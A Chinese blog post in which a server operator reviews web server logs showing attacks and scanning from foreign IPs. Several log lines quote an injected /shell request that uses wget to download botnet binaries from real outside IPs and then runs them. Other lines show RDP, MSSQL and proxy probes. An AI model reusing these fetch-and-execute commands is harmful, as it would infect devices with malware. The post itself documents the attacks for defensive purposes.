【网络安全】 关于http服务器遭受webshell攻击

最新推荐文章于 2022-04-20 17:37:22 发布
最新推荐文章于 2022-04-20 17:37:22 发布
阅读量2.9k 收藏 2
点赞数 1
分类专栏： Linux-Windows 文章标签： http
本文链接：https://blog.csdn.net/jn10010537/article/details/120342280
版权

【网络安全】 关于http服务器遭受webshell攻击

1、背景

在阿里云公网上部署web服务器，最近客户反映我的服务经常断掉，查看后台日志，发现境外的IP攻击。
比如：

209.141.56.212 - - [17/Sep/2021 04:52:04] "[33mGET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/154.16.118.104/arm7;chmod+777+arm7;./arm7+0day.jawsv3;wget+http:/\/154.16.118.104/arm;chmod+777+arm;./arm+0day.jawsv3 HTTP/1.1[0m" 404 -

如下图：
在这里插入图片描述

2、ip地址查询

我使用的是马老师家的IP地址库查询：
https://ip.taobao.com/?spm=a2c4g.11186623.0.0.2f953788CNPh0g

比如下面查询日志中可以的IP:
209.141.56.212
在这里插入图片描述

3、可疑请求ip

209.141.56.212

209.141.56.212 - - [17/Sep/2021 05:29:09] "[33mGET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/154.16.118.104/arm7;chmod+777+arm7;./arm7+0day.jawsv3;wget+http:/\/154.16.118.104/arm;chmod+777+arm;./arm+0day.jawsv3 HTTP/1.1[0m" 404 -

141.101.196.233
这个攻击者有点意思（友善？），查到我的服务器在中国就没接着攻击了，详细如下：

[ INFO ] 141.101.196.233 - - [17/Sep/2021 12:58:17] "CONNECT 91.214.48.87:80 HTTP/1.1" 404 -
[ ERROR ] 141.101.196.233 - - [17/Sep/2021 12:58:27] code 400, message Bad request syntax ('\x04\x01\x00P[Ö0W0\x00')
[ INFO ] 141.101.196.233 - - [17/Sep/2021 12:58:27] "P[Ö0W0" HTTPStatus.BAD_REQUEST -
[ INFO ] 141.101.196.233 - - [17/Sep/2021 12:58:29] "POST http://proxy.kagda.ru/myip2.php?Z74857023071Q1 HTTP/1.1" 404 -

47.100.27.27

89.248.165.93 - - [13/Sep/2021 16:29:22] code 400, message Bad request syntax ('\x03\x00\x00\x13\x0eà\x00\x00\x00\x00\x00\x01\x00\x08\x00\x02\x00\x00\x00')
89.248.165.93 - - [13/Sep/2021 16:29:22] "[35m[1m  à          [0m" HTTPStatus.BAD_REQUEST -

205.185.115.123

205.185.115.123 - - [13/Sep/2021 19:30:50] "[33mGET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/107.189.7.16/arm7;chmod+777+arm7;./arm7+jaws;wget+http:/\/107.189.7.16/arm;chmod+777+arm;./arm+jaws HTTP/1.1[0m" 404 -

89.248.165.13

89.248.165.13 - - [13/Sep/2021 23:46:45] code 400, message Bad request syntax ('\x03\x00\x00\x13\x0eà\x00\x00\x00\x00\x00\x01\x00\x08\x00\x02\x00\x00\x00')
89.248.165.13 - - [13/Sep/2021 23:46:45] "[35m[1m  à          [0m" HTTPStatus.BAD_REQUEST -

205.185.115.123

205.185.115.123 - - [14/Sep/2021 04:52:39] "[33mGET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/107.189.7.16/arm7;chmod+777+arm7;./arm7+jaws;wget+http:/\/107.189.7.16/arm;chmod+777+arm;./arm+jaws HTTP/1.1[0m" 404 -
205.185.115.123 - - [14/Sep/2021 10:27:01] "[33mGET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\/107.189.7.16/arm7;chmod+777+arm7;./arm7+jaws;wget+http:/\/107.189.7.16/arm;chmod+777+arm;./arm+jaws HTTP/1.1[0m" 404 -

74.120.14.44

74.120.14.44 - - [14/Sep/2021 10:39:06] code 400, message Bad HTTP/0.9 request type ('\x16\x03\x01\x00{\x01\x00\x00w\x03\x030âFh®\xad\x18\xad\x8c=\x8d\x07Ï4úiQß\x90æ\x92\x80±àTêP*6ß\x10\x08\x00\x00\x1aÀ/À+À\x11À\x07À\x13À')
74.120.14.44 - - [14/Sep/2021 10:39:06] "[35m[1m {  w0âFh®­­Œ=Ï4úiQߐ撀±àTêP*6ß  À/À+ÀÀÀÀ	ÀÀ[0m" HTTPStatus.BAD_REQUEST -
74.120.14.44 - - [14/Sep/2021 10:39:08] "GET / HTTP/1.1" 200 -
74.120.14.44 - - [14/Sep/2021 10:39:08] "GET / HTTP/1.1" 200 -

185.219.52.154

185.219.52.154 - - [14/Sep/2021 22:34:50] code 400, message Bad request version ('\x03\x00(\x00\x04ÿ\x08\x00\x01U\x00\x00\x00MSSQLServer\x00É·\x00\x00')
185.219.52.154 - - [14/Sep/2021 22:34:50] "[35m[1m 4           ( ÿ U   MSSQLServer É·  [0m" HTTPStatus.BAD_REQUEST -

78.128.112.18

78.128.112.18 - - [15/Sep/2021 00:58:36] code 400, message Bad HTTP/0.9 request type ('\x03\x00\x00/*à\x00\x00\x00\x00\x00Cookie:')
78.128.112.18 - - [15/Sep/2021 00:58:36] "[35m[1m  /*à     Cookie: mstshash=Administr[0m" HTTPStatus.BAD_REQUEST -

47.103.21.238

47.103.21.238 - - [15/Sep/2021 08:48:35] code 400, message Bad request version ("_¸<³'àA\x04\x9b\x84%.W7\x00\x00\x16À\x14\x005À\x13\x00/À,À+À0\x00\x9dÀ/\x00\x9c\x00")
47.103.21.238 - - [15/Sep/2021 08:48:35] "[35m[1m ˆ  „aAB㲂 øN5[‡ç47þ_¸<³'àA›„%.W7  À 5À /À,À+À0 À/ œ [0m" HTTPStatus.BAD_REQUEST -

161.189.134.11

161.189.134.11 - - [15/Sep/2021 14:27:33] code 400, message Bad request syntax ('{\x01\x00\x1615888888888À¨\x90Á\x13\x8a{')
161.189.134.11 - - [15/Sep/2021 14:27:33] "[35m[1m{ 15888888888À¨ÁŠ{[0m" HTTPStatus.BAD_REQUEST -
jn10010537
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
网络安全-负载均衡下的webshell连接
01-27
网络安全-负载均衡下的webshell连接
Webshell后门查杀
12-20
Webshell相关问题进行后门查杀，处理相关问题。
Django 错误 code 400, message Bad request syntax
工药叉的经文
04-28 2万+
跟着Django做网页，搭好一个网页之后使用命令 python manage.py runserver 来打开服务器。 这时使用本机访问 http://127.0.0.1:8000/ 结果是正确的 但是开始搭建局域网的服务器时，使用命令 python manage.py runserver 0.0.0.0:8000 然后在其它电脑上访问报错： [28/Apr/2016 09:55:0
购买的腾讯云服务器一直被ddos恶意攻击怎么解决
weixin_67757219的博客
04-20 2864
最近小蚁君发了很多关于阿里云服务器被攻击的文章，有不少客户来问，小蚁小蚁那腾讯云服务器被攻击了怎么办呢？其实所有服务器被攻击都是万变不离其宗！今天小蚁君给大家说道说道腾讯云服务器被攻击了怎么办？ 处理 ddos 攻击的最少成本是防止 ，不要等到攻击到来再防御 ，首先成本远超攻击前的防御 ，因此 当ddos 攻击开始时防御 ，不但会造成 高额成本 ，如果有把柄在黑客手中 ，就更加 麻烦了，所以事前防御才是上上策 。 想避免 DDOS 攻击 ，务必先搞清楚 ，当今销售市场 99 %的DDOS攻击是对于
python flask 请求code 400, message Bad request version
weixin_41407477的博客
07-20 1万+
今天在写flask请求的时候，请求的时候一直遇到code 400, message Bad request version 的乱码错误提示，肉眼看代码也没任何问题，结果问题是因为使用了https,在请求中把https改成http协议就可以得到正常的请求了 使用方式： http://ip:portnumber ...
UnityWebRequest向后端Get数据，后端显示 code 400, message Bad request version 和 HTTPStatus.BAD_REQUEST
发布AR/VR理论和开发实践、数据可视化、人机交互原创内容。
02-15 3877
介绍如何解决 code 400, message Bad request version 的问题。
计算机端口疑是被攻击了
DavidRobinx的博客
08-20 2305
最近我们公司的一个服务程序监测到端口6000收到一帧数据， 001 000 008 000 000 000 000 000 003 000 000% 002 0F0 080d 000 000 003 0EBp 080 016 016 000 017 000 0E9 003 000 000 000 000 000 001 008 000$ 000 000 000 001 000 0EA 003 00...
400 bad request 无效请求 原因分析
peade的博客
11-05 5919
4开头的错误，都是前端在写ajax时，写的不对，导致的错误 400badrequest发生的原因是，主要有两个。 一、往后台送的数据格式不对，就是content-type里面的值不是后端要求的值。例如后端要求送json格式，你往后端送了文本格式或xml格式，就会报错。 二、往后台送的参数不对，少传或多传了参数，这导致后台无法对参数进行处理，也会报这个错。 ...
Docker报错:code 400, message Bad request syntax (‘\x16\x03\x01\x02\x00\x01\x00\x01\xfc\x03\x03\
qq_38425803的博客
08-11 8092
docker报错 最近学习docker的时候创建一个web项目： runoob@runoob:~# docker pull training/webapp # 载入镜像 runoob@runoob:~# docker run -d -P training/webapp python app.py 访问报错： code 400, message Bad request syntax (’\x16\x03\x01\x02\x00\x01\x00\x01\xfc\x03\x03 使用命令：docker logs
网络安全中职组C模块webshell.py脚本
11-19
网络安全中职组C模块webshell.py脚本
WebShell管理.rar
最新发布
12-22
网络安全webshell管理工具 网络安全webshell管理工具 网络安全webshell管理工具 网络安全webshell管理工具 ...网络安全webshell管理工具网络安全webshell管理工具网络安全webshell管理工具网络安全webshel
使用Postman发送请求，Django提示解码失败
11-19 663
使用Postman发送如下请求 https://127.0.0.1:8000/api/admin/xxxxxxxxx/ 报错如下 [19/Nov/2018 14:15:56] code 400, message Bad request version (’\x00"JJ\x13\x01\x13\x02\x13\x03\xc0+\xc0/\xc0,\xc00\xcc\xa9\xcc\xa8\x...
HTTP请求报错：400 Bad Request解决方法！！（终极整理）
热门推荐
good_good_xiu的博客
04-03 35万+
问题场景：当项目的前端页面使用ajax请求访问后端时，出现该错误。 我这里是测试接口时，发生了错误。 原因一：请求参数个数不对。 后端接口上明确规定了请求参数的个数。比如：接口（方法）中的值中使用了requestparam注解，requestparam注解中有个require属性，默认为true，意思则是，必须要传该参数的值（该参数不可为空）。 解决办法： 1.如果该参数是可传可不传的，修改require属性为false。 2.检查前端js文件中对应的ajax请求中的请求数据是否为空，或者是否有该参数。
python restful接口返回文件_使用cURL将CSV文件读取到Flask restfulapi
weixin_42533243的博客
02-09 468
我正在尝试开发一个服务，有人可以将csv文件发送到我的restapi，我将其转储到数据库中。我的cURL请求正在读取数据，但是flask_restful无法处理它。你能告诉我我做错什么了吗？我该怎么解决它？在[编辑如下]我在阅读文档之后发现，request.files允许您从表单中读取POST请求中的文件。我还找到了一种通过cURL以表单形式发送csv文件的方法。在class ForBetaAnd...
protocol=http/1.1, code=400, message=Bad Request, url=*********
随笔记录-分享&记忆
06-06 8014
GET /api/vms?offset=0&limit=1000&filter[]="name='test%'"&expand=resources&attributes=name,vendor,guid&sort_by=name&sort_order=asc 调用cloudforms rest api时，遇到的问题，就是filter[]="name='test%'"这样的url参数形式。 bad request, code=400请求时，客户端报错
md@￥……&**（））……&&（）Aa1213213终端号 jpgraph是一种专门用于绘制统计图的运行库,使用jpgraph创建统计图时,只需要给出相应的数据,就能设置统计图标题和统计图类型即可.
测试0901-1
09-28 257
jpgraph是一种专门用于绘制统计图的运行库,使用jpgraph创建统计图时,只需要给出相应的数据,就能设置统计图标题和统计图类型即可. jpgraph是一种面向对象的图像绘制库,既有GD2函数库,对其中函数进行封装,得到了几个用于生成统计图的函数 可以生成X-Y坐标图,X-Y-Y坐标图,柱形图,饼图,3D饼图等统计图,并会自动生成坐标轴,坐标轴刻度,图例等信息,帮助我们快速生成所需...
Http的Get/Post请求带有特殊字符，400 Bad Request解决方案
辉少的博客
11-04 2万+
今天做项目的时候，需要向服务器接口 传递 json参数，使用 apache 的 httpclient，当时没有对参数做特殊处理直接提交了，结果运行时报错了，如下： HTTP 400 Bad Request 后来在网上查资料找到原因了：HttpGet或 HttpPost都不能传包含 ” 、“{“、”}”这样的参数，需要对特殊字符进行转义，把 ” 转成%22，把 { 转成%7b，把 } 转成%7d
webshell 攻击
07-28
Webshell攻击是指攻击者利用Web漏洞获取Web服务器的权限，并上传Webshell后门，从而实现对服务器的控制和操控。Webshell可以被用来执行命令、上传下载文件、修改文件权限等操作，给攻击者提供了广泛的控制权。 为了防御Webshell攻击，需要采取一系列的安全措施。首先，应该加强对Web应用程序的安全性，包括及时更新和修补漏洞、使用安全的编程实践、限制文件上传的类型和大小等。其次，应该加强对服务器的安全配置，包括限制对敏感文件和目录的访问权限、禁止执行可疑的脚本和命令、监控服务器日志等。此外，还可以使用防火墙和入侵检测系统来监控和阻止Webshell的上传和执行。 另外，用户也应该养成良好的使用习惯，避免点击可疑的链接和下载未知来源的文件，定期更改密码，并使用强密码和多因素身份验证等措施来保护自己的账户安全。 总之，防御Webshell攻击需要综合考虑安全措施，包括加强Web应用程序和服务器的安全性，以及用户的安全意识和使用习惯。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [网络安全-webshell详解（原理、攻击、检测与防御）](https://blog.csdn.net/lady_killer9/article/details/120286817)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [WebShell攻击流程大揭秘： 渗透测试必备技能（网页后门）](https://blog.csdn.net/weixin_43263566/article/details/128748547)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [网络攻击之WebShell](https://blog.csdn.net/qq_44887910/article/details/126701405)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jn10010537

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值